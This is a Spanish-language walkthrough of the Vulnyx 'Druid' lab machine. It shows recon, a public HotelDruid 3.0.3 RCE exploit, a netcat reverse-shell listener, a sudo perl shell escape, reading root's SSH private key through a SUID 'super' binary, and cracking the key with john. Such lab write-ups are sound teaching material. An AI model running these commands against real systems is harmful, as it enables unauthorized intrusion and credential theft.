Máquina Druid (Vulnyx)

Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.59
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.59


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.59 -sVC


Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 80.

Comprobamos que es lo que corre por el puerto 80.


Investigamos un poco la pagina web.


Encontramos el dominio hotel.nyx.

Lo agregamos al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:

$ nano /etc/hosts


A continuación, realizamos con la herramienta gobuster un fuzzing web por subdominios, para ello ejecutamos el siguiente comando:

$ gobuster vhost -u http://hotel.nyx -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain


Encontramos el subdominio reservations.hotel.nyx.

Lo agregamos también al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:

$ nano /etc/hosts


Accedemos al subdominio encontrado.


Investigamos un poco la pagina web.


En el apartado Configure encontramos la versión HotelDruid 3.0.3, Buscamos por internet a ver si existe algún exploit para esta versión.


Encontramos este exploit para esa versión, nos lo descargamos, y ejecutamos el exploit, para ello ejecutamos el siguiente comando:

$ python3 50754.py http://reservations.hotel.nyx --noauth


Nos devuelve una url en la que tenemos Ejecución Remota de Comandos (RCE) a través parámetro cmd de la url, la copiamos, y accedemos a ella.


A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

Ejecutamos la siguiente reverse shell en nc url encodeada y la pegamos en el parámetro cmd de la siguiente manera.



Y obtenemos una shell como www-data.

A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos.

$ script /dev/null -c bash
   Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l

Nos encontramos con el binario perl que lo podemos ejecutar como el usuario sun. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.

Lo ejecutamos de la siguiente manera:

$ sudo -u sun /usr/bin/perl -e 'exec "/bin/sh"'


¡¡¡Somos sun!!!.

Enumeramos los binarios con el bit SUID activado, para ello ejecutamos el siguiente comando:

$ find / -perm -4000 2>/dev/null


Como podemos comprobar el binario super tiene el bit SUID activado, siendo una utilidad de Unix diseñada para permitir a usuarios ejecutar comandos con privilegios de superusuario (root) sin necesidad de conceder acceso root total, en el archivo de configuración /etc/super.tab es donde se define qué comandos específicos pueden ejecutar ciertos usuarios.

Visualizamos este fichero, para ello ejecutamos el siguiente comando:

$ cat /etc/super.tab


Nos encontramos que a través del comando secret de la herramienta super ejecutamos el binario rev y lo podemos ejecutar como el usuario root (UID=0 GID=0), este binario revierte el orden de las líneas de un archivo, así como el orden de las palabras de cada línea.

Probamos a leer la clave privada id_rsa del usuario root, para ello ejecutamos el siguiente comando:

$ /usr/bin/super secret /root/.ssh/id_rsa | rev


Conseguimos leer la clave privada id_rsa para acceder a la Máquina Victima vía ssh, nos la copiamos en un archivo, para ello ejecutamos el siguiente comando:

$ nano id_rsa

Extraemos el hash del fichero id_rsa con la herramienta ssh2john, para ello ejecutamos el siguiente comando:

$ ssh2john id_rsa > id_rsa.hash

A continuación, intentamos crackearlo, para ello utilizamos la herramienta john indicando el diccionario rockyou, para ello ejecutamos el siguiente comando:

$ john id_rsa.hash --wordlist=rockyou.txt

Y obtenemos la contraseña super1.

Una vez crackeada la contraseña utilizamos el fichero id_rsa para conectarnos via ssh a la Máquina victima, para ello ejecutamos los siguientes comandos:

$ chmod 600 id_rsa
$ ssh -i id_rsa root@10.0.2.59


¡¡¡Ya somos root!!!

También pudiendo leer las flags de user root.